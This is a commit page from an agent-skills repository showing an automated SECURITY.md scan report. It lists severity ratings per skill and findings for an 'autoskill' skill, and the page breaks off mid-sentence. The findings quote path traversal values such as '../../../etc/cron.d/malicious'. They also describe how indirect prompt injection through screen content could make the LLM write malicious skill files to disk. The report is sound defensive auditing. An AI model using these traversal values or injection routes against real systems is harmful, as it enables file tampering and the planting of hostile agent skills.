Turn any AI agent into an AI Scientist. The #1 Agent Skills library for science, used by 250,000+ scientists worldwide. 177 ready-to-use validated skills plus 100+ scientific databases covering biology, chemistry, medicine, and drug discovery. Compatible with Cursor, Claude Code, Codex, Pi, Antigravity, and the open Agent Skills standard.
Python agent-skillsai-scientistbioinformaticschemoinformaticsclaudeclaude-skillsclaudecodeclinical-researchcomputational-biologydata-analysisdrug-discoverygenomicsmaterials-sciencemetabolomicsproteomicsscientific-computingscientific-visualization
chore: update security scan report [skip ci]
github-actions[bot]4457f17a29e5
diff --git a/SECURITY.md b/SECURITY.mdindex 5eef25ba..18756ed7 100644--- a/SECURITY.md+++ b/SECURITY.md@@ -1,157 +1,157 @@# Security Scan Report-**Generated:** 2026-06-01 12:04 UTC+**Generated:** 2026-06-07 23:47 UTC**Skills scanned:** 143-**Total findings:** 879-**Critical:** 71 | **High:** 60 | **Safe skills:** 101/143+**Total findings:** 882+**Critical:** 74 | **High:** 69 | **Safe skills:** 100/143## Summary| Skill | Severity | Findings | Safe | Duration ||-------|----------|----------|------|----------|-| autoskill | 🔴 CRITICAL | 15 | ❌ | 70.0s |-| cellxgene-census | 🔴 CRITICAL | 6 | ❌ | 43.5s |-| citation-management | 🔴 CRITICAL | 13 | ❌ | 32.3s |-| clinical-decision-support | 🔴 CRITICAL | 11 | ❌ | 53.4s |-| clinical-reports | 🔴 CRITICAL | 11 | ❌ | 51.8s |-| dask | 🔴 CRITICAL | 4 | ❌ | 34.2s |-| etetoolkit | 🔴 CRITICAL | 4 | ❌ | 32.7s |-| fluidsim | 🔴 CRITICAL | 4 | ❌ | 29.3s |-| hypothesis-generation | 🔴 CRITICAL | 12 | ❌ | 48.5s |-| infographics | 🔴 CRITICAL | 12 | ❌ | 46.9s |-| latex-posters | 🔴 CRITICAL | 11 | ❌ | 40.8s |-| literature-review | 🔴 CRITICAL | 13 | ❌ | 57.9s |-| markitdown | 🔴 CRITICAL | 12 | ❌ | 37.4s |-| pacsomatic | 🔴 CRITICAL | 7 | ❌ | 46.4s |-| peer-review | 🔴 CRITICAL | 12 | ❌ | 51.4s |-| pptx-posters | 🔴 CRITICAL | 11 | ❌ | 44.2s |-| research-lookup | 🔴 CRITICAL | 17 | ❌ | 46.7s |-| scholar-evaluation | 🔴 CRITICAL | 10 | ❌ | 43.8s |-| scientific-schematics | 🔴 CRITICAL | 11 | ❌ | 36.0s |-| scientific-slides | 🔴 CRITICAL | 16 | ❌ | 59.3s |-| scientific-writing | 🔴 CRITICAL | 12 | ❌ | 52.8s |-| seaborn | 🔴 CRITICAL | 5 | ❌ | 36.4s |-| tiledbvcf | 🔴 CRITICAL | 4 | ❌ | 31.5s |-| treatment-plans | 🔴 CRITICAL | 11 | ❌ | 51.8s |-| umap-learn | 🔴 CRITICAL | 4 | ❌ | 35.4s |-| venue-templates | 🔴 CRITICAL | 10 | ❌ | 44.1s |-| bgpt-paper-search | 🟠 HIGH | 4 | ❌ | 37.0s |-| consciousness-council | 🟠 HIGH | 3 | ❌ | 26.6s |-| depmap | 🟠 HIGH | 4 | ❌ | 27.1s |-| dhdna-profiler | 🟠 HIGH | 5 | ❌ | 40.8s |-| docx | 🟠 HIGH | 6 | ❌ | 52.1s |-| flowio | 🟠 HIGH | 3 | ❌ | 26.4s |-| geniml | 🟠 HIGH | 4 | ❌ | 38.3s |-| geomaster | 🟠 HIGH | 8 | ❌ | 35.1s |-| histolab | 🟠 HIGH | 3 | ❌ | 17.4s |-| latchbio-integration | 🟠 HIGH | 3 | ❌ | 25.6s |+| autoskill | 🔴 CRITICAL | 15 | ❌ | 70.1s |+| bgpt-paper-search | 🔴 CRITICAL | 5 | ❌ | 31.8s |+| cellxgene-census | 🔴 CRITICAL | 5 | ❌ | 42.6s |+| citation-management | 🔴 CRITICAL | 13 | ❌ | 33.4s |+| clinical-decision-support | 🔴 CRITICAL | 13 | ❌ | 130.5s |+| clinical-reports | 🔴 CRITICAL | 14 | ❌ | 65.9s |+| dhdna-profiler | 🔴 CRITICAL | 6 | ❌ | 45.8s |+| fluidsim | 🔴 CRITICAL | 4 | ❌ | 30.3s |+| hypothesis-generation | 🔴 CRITICAL | 11 | ❌ | 36.9s |+| infographics | 🔴 CRITICAL | 10 | ❌ | 35.3s |+| latex-posters | 🔴 CRITICAL | 12 | ❌ | 56.0s |+| literature-review | 🔴 CRITICAL | 12 | ❌ | 57.2s |+| markitdown | 🔴 CRITICAL | 13 | ❌ | 57.8s |+| pacsomatic | 🔴 CRITICAL | 7 | ❌ | 45.8s |+| peer-review | 🔴 CRITICAL | 11 | ❌ | 46.2s |+| pptx-posters | 🔴 CRITICAL | 10 | ❌ | 35.5s |+| research-lookup | 🔴 CRITICAL | 18 | ❌ | 48.9s |+| scholar-evaluation | 🔴 CRITICAL | 11 | ❌ | 44.9s |+| scientific-schematics | 🔴 CRITICAL | 9 | ❌ | 28.2s |+| scientific-slides | 🔴 CRITICAL | 17 | ❌ | 61.9s |+| scientific-writing | 🔴 CRITICAL | 12 | ❌ | 57.8s |+| seaborn | 🔴 CRITICAL | 5 | ❌ | 37.1s |+| treatment-plans | 🔴 CRITICAL | 11 | ❌ | 48.1s |+| umap-learn | 🔴 CRITICAL | 6 | ❌ | 40.4s |+| venue-templates | 🔴 CRITICAL | 10 | ❌ | 44.4s |+| what-if-oracle | 🔴 CRITICAL | 5 | ❌ | 45.3s |+| benchling-integration | 🟠 HIGH | 4 | ❌ | 33.7s |+| bids | 🟠 HIGH | 5 | ❌ | 34.8s |+| consciousness-council | 🟠 HIGH | 4 | ❌ | 29.8s |+| dnanexus-integration | 🟠 HIGH | 5 | ❌ | 39.2s |+| flowio | 🟠 HIGH | 3 | ❌ | 84.7s |+| geomaster | 🟠 HIGH | 8 | ❌ | 34.7s |+| histolab | 🟠 HIGH | 5 | ❌ | 26.8s || modal | 🟠 HIGH | 8 | ❌ | 19.1s |-| parallel-web | 🟠 HIGH | 7 | ❌ | 44.7s |-| pathml | 🟠 HIGH | 8 | ❌ | 27.6s |-| polars | 🟠 HIGH | 4 | ❌ | 22.5s |-| qutip | 🟠 HIGH | 4 | ❌ | 21.3s |-| scientific-brainstorming | 🟠 HIGH | 3 | ❌ | 26.8s |-| bulk-rnaseq | 🟡 MEDIUM | 7 | ✅ | 50.3s |-| cobrapy | 🟡 MEDIUM | 4 | ✅ | 36.0s |-| deeptools | 🟡 MEDIUM | 4 | ✅ | 28.8s |-| dnanexus-integration | 🟡 MEDIUM | 6 | ✅ | 32.1s |-| exa-search | 🟡 MEDIUM | 6 | ✅ | 30.8s |-| ginkgo-cloud-lab | 🟡 MEDIUM | 4 | ✅ | 23.4s |-| hugging-science | 🟡 MEDIUM | 5 | ✅ | 44.7s |-| imaging-data-commons | 🟡 MEDIUM | 3 | ✅ | 17.9s |-| labarchive-integration | 🟡 MEDIUM | 8 | ✅ | 34.0s |-| matlab | 🟡 MEDIUM | 3 | ✅ | 25.4s |-| open-notebook | 🟡 MEDIUM | 18 | ✅ | 18.9s |-| paperzilla | 🟡 MEDIUM | 4 | ✅ | 28.6s |-| phylogenetics | 🟡 MEDIUM | 10 | ✅ | 31.9s |-| primekg | 🟡 MEDIUM | 5 | ✅ | 35.6s |-| protocolsio-integration | 🟡 MEDIUM | 7 | ✅ | 26.3s |-| pufferlib | 🟡 MEDIUM | 4 | ✅ | 27.9s |-| pymatgen | 🟡 MEDIUM | 5 | ✅ | 28.7s |-| rowan | 🟡 MEDIUM | 5 | ✅ | 34.9s |-| scikit-survival | 🟡 MEDIUM | 4 | ✅ | 30.3s |-| shap | 🟡 MEDIUM | 3 | ✅ | 25.8s |-| transformers | 🟡 MEDIUM | 4 | ✅ | 24.8s |-| xlsx | 🟡 MEDIUM | 5 | ✅ | 55.6s |-| zarr-python | 🟡 MEDIUM | 4 | ✅ | 32.4s |-| adaptyv | 🔵 LOW | 3 | ✅ | 29.0s |-| anndata | 🔵 LOW | 3 | ✅ | 17.4s |-| benchling-integration | 🔵 LOW | 4 | ✅ | 31.0s |-| bids | 🔵 LOW | 5 | ✅ | 30.8s |-| biopython | 🔵 LOW | 4 | ✅ | 29.5s |-| bioservices | 🔵 LOW | 3 | ✅ | 34.4s |-| cirq | 🔵 LOW | 3 | ✅ | 31.7s |-| database-lookup | 🔵 LOW | 4 | ✅ | 31.8s |-| datamol | 🔵 LOW | 3 | ✅ | 28.0s |-| deepchem | 🔵 LOW | 1 | ✅ | 15.9s |-| diffdock | 🔵 LOW | 1 | ✅ | 20.5s |-| esm | 🔵 LOW | 3 | ✅ | 27.4s |-| exploratory-data-analysis | 🔵 LOW | 2 | ✅ | 18.9s |-| generate-image | 🔵 LOW | 3 | ✅ | 23.3s |-| geopandas | 🔵 LOW | 4 | ✅ | 26.3s |-| get-available-resources | 🔵 LOW | 4 | ✅ | 26.7s |-| gget | 🔵 LOW | 5 | ✅ | 28.5s |-| gtars | 🔵 LOW | 3 | ✅ | 19.7s |-| hypogenic | 🔵 LOW | 4 | ✅ | 26.2s |-| lamindb | 🔵 LOW | 5 | ✅ | 36.4s |-| liteparse | 🔵 LOW | 3 | ✅ | 27.8s |-| market-research-reports | 🔵 LOW | 4 | ✅ | 29.0s |-| matchms | 🔵 LOW | 3 | ✅ | 22.7s |-| matplotlib | 🔵 LOW | 1 | ✅ | 16.1s |-| medchem | 🔵 LOW | 1 | ✅ | 17.6s |-| molecular-dynamics | 🔵 LOW | 3 | ✅ | 20.6s |-| molfeat | 🔵 LOW | 3 | ✅ | 22.4s |-| networkx | 🔵 LOW | 3 | ✅ | 25.7s |-| neurokit2 | 🔵 LOW | 4 | ✅ | 34.0s |-| neuropixels-analysis | 🔵 LOW | 4 | ✅ | 33.2s |-| nextflow | 🔵 LOW | 3 | ✅ | 26.4s |-| omero-integration | 🔵 LOW | 5 | ✅ | 35.3s |-| opentrons-integration | 🔵 LOW | 4 | ✅ | 19.1s |-| optimize-for-gpu | 🔵 LOW | 4 | ✅ | 28.7s |-| paper-lookup | 🔵 LOW | 4 | ✅ | 29.9s |-| pathway-enrichment | 🔵 LOW | 3 | ✅ | 26.3s |-| pdf | 🔵 LOW | 5 | ✅ | 29.5s |-| pennylane | 🔵 LOW | 3 | ✅ | 19.5s |-| polars-bio | 🔵 LOW | 3 | ✅ | 22.1s |-| pptx | 🔵 LOW | 5 | ✅ | 39.5s |-| pydeseq2 | 🔵 LOW | 4 | ✅ | 25.8s |-| pydicom | 🔵 LOW | 4 | ✅ | 28.3s |-| pyhealth | 🔵 LOW | 4 | ✅ | 26.6s |-| pylabrobot | 🔵 LOW | 3 | ✅ | 18.8s |-| pymc | 🔵 LOW | 1 | ✅ | 19.2s |-| pymoo | 🔵 LOW | 1 | ✅ | 17.1s |-| pyopenms | 🔵 LOW | 3 | ✅ | 21.8s |-| pysam | 🔵 LOW | 1 | ✅ | 12.5s |-| pytdc | 🔵 LOW | 4 | ✅ | 34.2s |-| pyzotero | 🔵 LOW | 3 | ✅ | 22.8s |-| qiskit | 🔵 LOW | 3 | ✅ | 22.3s |-| rdkit | 🔵 LOW | 3 | ✅ | 25.3s |-| research-grants | 🔵 LOW | 3 | ✅ | 26.4s |-| scanpy | 🔵 LOW | 1 | ✅ | 12.5s |-| scientific-critical-thinking | 🔵 LOW | 3 | ✅ | 32.3s |-| scientific-visualization | 🔵 LOW | 2 | ✅ | 16.3s |-| scikit-bio | 🔵 LOW | 2 | ✅ | 18.7s |-| scikit-learn | 🔵 LOW | 4 | ✅ | 20.7s |-| scvelo | 🔵 LOW | 2 | ✅ | 15.2s |-| scvi-tools | 🔵 LOW | 4 | ✅ | 23.5s |-| simpy | 🔵 LOW | 1 | ✅ | 14.1s |-| stable-baselines3 | 🔵 LOW | 2 | ✅ | 17.5s |-| statistical-analysis | 🔵 LOW | 1 | ✅ | 18.6s |-| statsmodels | 🔵 LOW | 1 | ✅ | 11.8s |-| sympy | 🔵 LOW | 3 | ✅ | 27.5s |-| timesfm-forecasting | 🔵 LOW | 3 | ✅ | 35.2s |-| torch-geometric | 🔵 LOW | 1 | ✅ | 14.3s |-| torchdrug | 🔵 LOW | 3 | ✅ | 19.7s |-| usfiscaldata | 🔵 LOW | 2 | ✅ | 16.4s |-| vaex | 🔵 LOW | 4 | ✅ | 27.0s |-| what-if-oracle | 🔵 LOW | 3 | ✅ | 26.9s |-| glycoengineering | ⚪ INFO | 1 | ✅ | 1.8s |-| aeon | 🟢 SAFE | 0 | ✅ | 7.5s |-| arboreto | 🟢 SAFE | 0 | ✅ | 6.7s |-| astropy | 🟢 SAFE | 0 | ✅ | 9.9s |-| iso-13485-certification | 🟢 SAFE | 0 | ✅ | 10.2s |-| markdown-mermaid-writing | 🟢 SAFE | 0 | ✅ | 9.5s |-| pytorch-lightning | 🟢 SAFE | 0 | ✅ | 10.9s |+| paperzilla | 🟠 HIGH | 5 | ❌ | 29.8s |+| parallel-web | 🟠 HIGH | 9 | ❌ | 48.7s |+| pathml | 🟠 HIGH | 8 | ❌ | 30.7s |+| primekg | 🟠 HIGH | 5 | ❌ | 33.9s |+| qutip | 🟠 HIGH | 4 | ❌ | 22.0s |+| scikit-bio | 🟠 HIGH | 2 | ❌ | 20.3s |+| scikit-survival | 🟠 HIGH | 5 | ❌ | 37.2s |+| tiledbvcf | 🟠 HIGH | 5 | ❌ | 30.4s |+| torchdrug | 🟠 HIGH | 4 | ❌ | 32.2s |+| adaptyv | 🟡 MEDIUM | 3 | ✅ | 27.8s |+| biopython | 🟡 MEDIUM | 10 | ✅ | 28.7s |+| bulk-rnaseq | 🟡 MEDIUM | 7 | ✅ | 51.1s |+| docx | 🟡 MEDIUM | 5 | ✅ | 46.2s |+| exa-search | 🟡 MEDIUM | 6 | ✅ | 29.2s |+| exploratory-data-analysis | 🟡 MEDIUM | 7 | ✅ | 45.0s |+| generate-image | 🟡 MEDIUM | 4 | ✅ | 26.6s |+| hugging-science | 🟡 MEDIUM | 5 | ✅ | 36.7s |+| imaging-data-commons | 🟡 MEDIUM | 5 | ✅ | 30.3s |+| labarchive-integration | 🟡 MEDIUM | 8 | ✅ | 37.6s |+| liteparse | 🟡 MEDIUM | 4 | ✅ | 30.1s |+| market-research-reports | 🟡 MEDIUM | 5 | ✅ | 42.2s |+| open-notebook | 🟡 MEDIUM | 19 | ✅ | 23.4s |+| phylogenetics | 🟡 MEDIUM | 8 | ✅ | 25.2s |+| polars | 🟡 MEDIUM | 3 | ✅ | 24.4s |+| polars-bio | 🟡 MEDIUM | 3 | ✅ | 26.8s |+| pptx | 🟡 MEDIUM | 4 | ✅ | 42.6s |+| protocolsio-integration | 🟡 MEDIUM | 7 | ✅ | 32.5s |+| pufferlib | 🟡 MEDIUM | 3 | ✅ | 23.0s |+| pymatgen | 🟡 MEDIUM | 6 | ✅ | 34.4s |+| rowan | 🟡 MEDIUM | 5 | ✅ | 33.4s |+| scientific-critical-thinking | 🟡 MEDIUM | 4 | ✅ | 33.4s |+| scvi-tools | 🟡 MEDIUM | 4 | ✅ | 29.4s |+| statsmodels | 🟡 MEDIUM | 3 | ✅ | 27.9s |+| vaex | 🟡 MEDIUM | 4 | ✅ | 31.0s |+| astropy | 🔵 LOW | 3 | ✅ | 23.8s |+| bioservices | 🔵 LOW | 4 | ✅ | 37.2s |+| cirq | 🔵 LOW | 1 | ✅ | 17.3s |+| cobrapy | 🔵 LOW | 3 | ✅ | 25.3s |+| dask | 🔵 LOW | 1 | ✅ | 13.1s |+| database-lookup | 🔵 LOW | 5 | ✅ | 40.1s |+| datamol | 🔵 LOW | 3 | ✅ | 26.2s |+| deepchem | 🔵 LOW | 2 | ✅ | 18.4s |+| deeptools | 🔵 LOW | 3 | ✅ | 21.9s |+| depmap | 🔵 LOW | 4 | ✅ | 25.3s |+| diffdock | 🔵 LOW | 1 | ✅ | 16.5s |+| esm | 🔵 LOW | 3 | ✅ | 22.6s |+| etetoolkit | 🔵 LOW | 2 | ✅ | 19.9s |+| geniml | 🔵 LOW | 3 | ✅ | 22.4s |+| geopandas | 🔵 LOW | 4 | ✅ | 25.8s |+| get-available-resources | 🔵 LOW | 4 | ✅ | 26.5s |+| gget | 🔵 LOW | 5 | ✅ | 31.8s |+| ginkgo-cloud-lab | 🔵 LOW | 3 | ✅ | 16.2s |+| gtars | 🔵 LOW | 4 | ✅ | 21.8s |+| hypogenic | 🔵 LOW | 4 | ✅ | 23.6s |+| lamindb | 🔵 LOW | 3 | ✅ | 19.7s |+| latchbio-integration | 🔵 LOW | 3 | ✅ | 20.3s |+| matlab | 🔵 LOW | 1 | ✅ | 12.3s |+| molecular-dynamics | 🔵 LOW | 3 | ✅ | 18.7s |+| molfeat | 🔵 LOW | 3 | ✅ | 22.9s |+| networkx | 🔵 LOW | 3 | ✅ | 22.8s |+| neurokit2 | 🔵 LOW | 4 | ✅ | 31.9s |+| neuropixels-analysis | 🔵 LOW | 4 | ✅ | 32.3s |+| nextflow | 🔵 LOW | 3 | ✅ | 27.6s |+| omero-integration | 🔵 LOW | 4 | ✅ | 23.1s |+| opentrons-integration | 🔵 LOW | 4 | ✅ | 24.9s |+| optimize-for-gpu | 🔵 LOW | 2 | ✅ | 18.1s |+| paper-lookup | 🔵 LOW | 5 | ✅ | 33.4s |+| pathway-enrichment | 🔵 LOW | 3 | ✅ | 25.8s |+| pdf | 🔵 LOW | 5 | ✅ | 31.7s |+| pennylane | 🔵 LOW | 3 | ✅ | 21.7s |+| pydeseq2 | 🔵 LOW | 1 | ✅ | 14.7s |+| pydicom | 🔵 LOW | 4 | ✅ | 31.9s |+| pyhealth | 🔵 LOW | 3 | ✅ | 25.3s |+| pylabrobot | 🔵 LOW | 2 | ✅ | 14.5s |+| pymc | 🔵 LOW | 2 | ✅ | 24.8s |+| pymoo | 🔵 LOW | 1 | ✅ | 15.8s |+| pyopenms | 🔵 LOW | 2 | ✅ | 15.4s |+| pysam | 🔵 LOW | 1 | ✅ | 12.3s |+| pyzotero | 🔵 LOW | 4 | ✅ | 28.3s |+| qiskit | 🔵 LOW | 4 | ✅ | 27.8s |+| rdkit | 🔵 LOW | 3 | ✅ | 21.9s |+| research-grants | 🔵 LOW | 2 | ✅ | 19.0s |+| scientific-brainstorming | 🔵 LOW | 2 | ✅ | 16.2s |+| scientific-visualization | 🔵 LOW | 2 | ✅ | 14.8s |+| scikit-learn | 🔵 LOW | 3 | ✅ | 21.9s |+| scvelo | 🔵 LOW | 3 | ✅ | 19.6s |+| shap | 🔵 LOW | 4 | ✅ | 26.1s |+| simpy | 🔵 LOW | 4 | ✅ | 23.7s |+| statistical-analysis | 🔵 LOW | 1 | ✅ | 15.6s |+| sympy | 🔵 LOW | 2 | ✅ | 21.9s |+| timesfm-forecasting | 🔵 LOW | 4 | ✅ | 38.8s |+| torch-geometric | 🔵 LOW | 1 | ✅ | 12.5s |+| transformers | 🔵 LOW | 5 | ✅ | 30.5s |+| usfiscaldata | 🔵 LOW | 1 | ✅ | 9.1s |+| xlsx | 🔵 LOW | 4 | ✅ | 41.6s |+| zarr-python | 🔵 LOW | 2 | ✅ | 19.8s |+| glycoengineering | ⚪ INFO | 1 | ✅ | 1.6s |+| medchem | ⚪ INFO | 1 | ✅ | 48.9s |+| aeon | 🟢 SAFE | 0 | ✅ | 7.4s |+| anndata | 🟢 SAFE | 0 | ✅ | 7.5s |+| arboreto | 🟢 SAFE | 0 | ✅ | 8.4s |+| iso-13485-certification | 🟢 SAFE | 0 | ✅ | 10.9s |+| markdown-mermaid-writing | 🟢 SAFE | 0 | ✅ | 11.8s |+| matchms | 🟢 SAFE | 0 | ✅ | 3.5s |+| matplotlib | 🟢 SAFE | 0 | ✅ | 16.2s |+| pytdc | 🟢 SAFE | 0 | ✅ | 6.8s |+| pytorch-lightning | 🟢 SAFE | 0 | ✅ | 8.4s |+| scanpy | 🟢 SAFE | 0 | ✅ | 5.2s |+| stable-baselines3 | 🟢 SAFE | 0 | ✅ | 4.6s |## Detailed Findings@@ -159,46 +159,46 @@- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_ENV_VAR_EXFILTRATION` — Cross-file env var exfiltration: 7 files> Environment variable access with network calls in scripts/doctor.py, scripts/backends.py, scripts/run.py- > **Remediation:** Review data flow across files: scripts/doctor.py, tests/test_run.py, tests/test_e2e.py, scripts/run.py, tests/test_backends.py, tests/test_fetch_window.py, scripts/backends.py+ > **Remediation:** Review data flow across files: tests/test_fetch_window.py, scripts/doctor.py, scripts/run.py, tests/test_backends.py, tests/test_run.py, scripts/backends.py, tests/test_e2e.py- **🔴 CRITICAL** `BEHAVIOR_CROSSFILE_EXFILTRATION_CHAIN` — Cross-file exfiltration chain: 8 files> Multi-file exfiltration chain detected: scripts/doctor.py, scripts/backends.py, scripts/run.py collect data → tests/smoke_lmstudio.py, scripts/run.py → tests/test_run.py, tests/test_e2e.py, tests/test_backends.py, tests/test_fetch_window.py, scripts/doctor.py, scripts/backends.py, scripts/run.py transmit to network- > **Remediation:** Review data flow across files: tests/smoke_lmstudio.py, scripts/doctor.py, tests/test_run.py, tests/test_e2e.py, scripts/run.py, tests/test_backends.py, tests/test_fetch_window.py, scripts/backends.py+ > **Remediation:** Review data flow across files: tests/test_fetch_window.py, scripts/doctor.py, scripts/run.py, tests/test_backends.py, tests/test_run.py, scripts/backends.py, tests/smoke_lmstudio.py, tests/test_e2e.py-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Broad Capability Claims in Skill Description- > The skill description claims to 'detect repeated research workflows, match them against existing scientific-agent-skills, and draft new skills' and references '135 sibling skills'. The description is accurate but very broad in scope — the skill essentially claims to observe all user activity and generate new agent capabilities autonomously. This broad framing could lead to the skill being invoked more broadly than intended, though the instructions do include appropriate 'When to Use' and 'Do not invoke' guidance.+- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Broad Screen Content Collection Disproportionate to Stated Purpose+ > The skill collects all OCR text, window titles, and app names from the user's screen over potentially long time windows (hours, days, weeks as stated in the instructions). This includes content from all applications not explicitly denied. The deny-list approach (references/screenpipe-config.yaml) means any app not on the list — including IDEs with proprietary code, document editors with confidential content, terminals with sensitive commands — will have its content captured and processed. The stated purpose is workflow pattern detection, but the data collected is far broader than necessary for that purpose.> File: `SKILL.md`- > **Remediation:** Consider narrowing the description to be more specific about the scope and limitations of the skill to reduce the risk of unintended activation.+ > **Remediation:** 1. Switch from a denylist to an allowlist approach — only capture from explicitly approved apps. 2. Limit OCR text collection to app names and window titles only (not full text content) for the purpose of workflow detection. 3. Add a maximum time window limit to prevent bulk historical data collection. 4. Implement data minimization — discard raw OCR text immediately after clustering, before any LLM call.-- **🟡 MEDIUM** `LLM_DATA_EXFILTRATION` — Environment Variable Credential Access and Transmission to Network Endpoints- > The skill reads three sensitive environment variables (SCREENPIPE_TOKEN, ANTHROPIC_API_KEY, FOUNDRY_API_KEY) and uses them to authenticate to network endpoints. While this is documented behavior, the static analysis confirms cross-file env var exfiltration chains across 7 files. The doctor.py script also reads these variables and makes network calls to verify connectivity. The config.yaml can also store the screenpipe token directly, creating a risk of credential exposure if config files are committed to version control (though the instructions warn against this).- > File: `scripts/doctor.py`- > **Remediation:** 1. Document clearly that config.yaml should never contain API keys and enforce this with a config validator. 2. Add a check in doctor.py that warns if tokens are found in config files rather than environment variables. 3. Ensure tokens are never logged or included in error messages. 4. Consider using a secrets manager or keychain integration rather than plain environment variables.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Environment Variable Credential Harvesting with Network Transmission+ > The skill reads three API credentials from environment variables (SCREENPIPE_TOKEN, ANTHROPIC_API_KEY, FOUNDRY_API_KEY) and transmits them over the network to authenticate to external services. The backends.py make_backend() function reads ANTHROPIC_API_KEY and FOUNDRY_API_KEY from os.environ and passes them directly to HTTP clients that connect to external cloud APIs. The doctor.py script also reads SCREENPIPE_TOKEN from os.environ. While these are used for their stated authentication purposes, the pattern of env var harvesting + network transmission is flagged by static analysis as a cross-file exfiltration chain spanning 7 files.+ > File: `scripts/backends.py`+ > **Remediation:** 1. Document clearly that credentials are only used for their named endpoints. 2. Add runtime assertions that verify the destination URL matches the expected endpoint before sending credentials. 3. Consider using a secrets manager or keychain integration rather than environment variables. 4. Add TLS certificate pinning for the Anthropic API endpoint to prevent MITM attacks that could harvest credentials.-- **🟡 MEDIUM** `LLM_RESOURCE_ABUSE` — Unbounded Screenpipe Data Fetch with Large Time Windows- > The fetch_window function paginates through screenpipe results with a hard ceiling of _MAX_PAGES = 10,000 pages. With a default page_size of 50, this allows fetching up to 500,000 events. For large time windows (e.g., 'analyze my last week'), this could result in massive memory consumption as all events are accumulated in a list before processing. The cluster.py segment_sessions function also sorts all events in memory. This could cause memory exhaustion on systems with limited RAM.- > File: `scripts/fetch_window.py:1`- > **Remediation:** 1. Implement streaming/chunked processing rather than accumulating all events in memory. 2. Add a configurable maximum event count with a sensible default (e.g., 10,000 events). 3. Warn users when time windows are very large before fetching. 4. Consider processing events in batches to limit peak memory usage.+- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded Pagination Loop with Large Time Windows+ > The fetch_window.py script paginates through screenpipe results with a hard ceiling of _MAX_PAGES = 10,000 pages. With a default page_size of 50, this allows up to 500,000 events to be loaded into memory. For a user who has been running screenpipe for weeks and requests a large time window, this could consume significant memory and CPU. The cluster.py segment_sessions function also sorts all events in memory. While the 10,000 page ceiling prevents infinite loops, it still allows substantial resource consumption.+ > File: `scripts/fetch_window.py`+ > **Remediation:** 1. Add a configurable maximum event count (e.g., default 10,000 events) with a warning when the limit is hit. 2. Implement streaming/chunked processing rather than loading all events into memory. 3. Add a maximum time window size (e.g., 7 days) to prevent accidental bulk collection. 4. Display progress to the user for large time windows.-- **🟠 HIGH** `LLM_COMMAND_INJECTION` — Path Traversal Risk in LLM-Generated Skill Names- > The skill name returned by the LLM in the 'novel' and 'compose' verdicts is used directly to construct filesystem paths without sanitization. If an attacker can influence the LLM output (via indirect prompt injection from screen content), they could cause the skill name to contain path traversal sequences (e.g., '../../../etc/' or absolute paths), potentially writing files outside the intended proposed directory. The decision['name'] value from the LLM response is used directly in Path construction.- > File: `scripts/run.py`- > **Remediation:** 1. Sanitize the skill name by stripping path separators and validating against a safe character allowlist (e.g., [a-z0-9-_]). 2. Verify that the resolved draft_dir path is actually under proposed_path using Path.resolve() comparison. 3. Reject any skill name containing '..', '/', or other path-special characters. 4. Add a maximum length limit on skill names.+- **🟡 MEDIUM** `LLM_COMMAND_INJECTION` — Path Traversal Risk in Skill Name During Promotion+ > The promote.py script uses the skill name directly as a directory component when moving proposed skills into the skills directory. The name comes from the LLM-generated JSON response (decision['name'] in run.py) or from CLI user input. If the name contains path traversal sequences (e.g., '../../../etc/cron.d/malicious'), the shutil.move() call could write files outside the intended skills directory. While the proposed_path lookup would need to find the directory first, the name is also used directly in the target path construction.+ > File: `scripts/promote.py`+ > **Remediation:** 1. Validate that the skill name matches a safe pattern (e.g., ^[a-z0-9][a-z0-9-]*$) before use. 2. Resolve the target path and verify it is within the skills_dir using Path.resolve(). 3. Apply the same validation to LLM-generated skill names in run.py before writing draft directories. 4. Add a maximum length constraint on skill names.-- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Screen Content Capture and Transmission to External LLM Backends- > The skill captures continuous screen content (OCR of all visible windows) via the screenpipe daemon and transmits processed summaries to external cloud LLM backends (Anthropic Claude API at https://api.anthropic.com, or user-configured Foundry gateway). While the skill documents this behavior and includes a redaction layer, the fundamental data flow involves sensitive screen content — including window titles, application names, and OCR text — being processed and potentially sent to external servers. The redaction layer (scripts/redact.py) is regex-based and cannot guarantee complete removal of all sensitive information before it reaches cloud backends. Users who configure 'backend: claude' or 'backend: foundry' will have cluster summaries (derived from screen content) transmitted externally.+- **🟠 HIGH** `LLM_DATA_EXFILTRATION` — Continuous Screen Content Capture and Transmission to LLM Backends+ > The skill continuously captures all screen content via the screenpipe daemon (OCR of all visible windows, app names, window titles, text content) and transmits summarized versions to LLM backends including external cloud services (Anthropic Claude API, user-configured Foundry gateways). While the skill claims to redact PII before sending, the redaction is regex-based and incomplete — it cannot catch all sensitive information (e.g., proprietary code, confidential documents, medical records, legal documents, financial data beyond simple patterns). The skill reads SCREENPIPE_TOKEN, ANTHROPIC_API_KEY, and FOUNDRY_API_KEY from environment variables and uses them to authenticate to external endpoints. The combination of broad screen capture + external LLM transmission represents a significant data exposure risk.> File: `scripts/run.py`- > **Remediation:** 1. Enforce explicit user confirmation before any data is sent to cloud backends. 2. Display a clear summary of what data will be transmitted before each cloud LLM call. 3. Consider making the redaction pipeline more robust (e.g., using NLP-based PII detection in addition to regex). 4. Add a hard opt-in gate that requires explicit user acknowledgment that screen-derived data will leave the machine when cloud backends are configured. 5. Log all data transmitted to external backends for user auditability.+ > **Remediation:** 1. Enforce explicit user confirmation before any data leaves the local machine, showing exactly what will be sent. 2. Implement a strict allowlist of apps/content types rather than a denylist. 3. When cloud backends are used, require explicit per-session consent with a summary of data to be transmitted. 4. Consider making local-only mode the only supported mode, removing cloud backend options entirely. 5. Add content-type filtering to only send app names and durations, never OCR text, to cloud backends.- **🟠 HIGH** `LLM_UNAUTHORIZED_TOOL_USE` — LLM-Generated SKILL.md Written Directly to Disk Without Content Validation- > The synthesize pipeline writes LLM-generated SKILL.md content directly to disk without any validation of the content. When the LLM returns a 'novel' or 'compose' verdict, the raw skill_body string from the LLM response is written verbatim to a SKILL.md file. If an attacker can influence the LLM output (via indirect prompt injection from screen content, or by compromising the LLM backend), they can cause arbitrary SKILL.md content to be written to disk. The promote.py script then moves these files into the active skills directory with no content inspection, potentially introducing malicious skills into the agent's skill library.+ > The run.py script writes LLM-generated SKILL.md content directly to disk without any validation of the content. The skill_body field from the LLM response is written verbatim to a new SKILL.md file. If an attacker can influence the 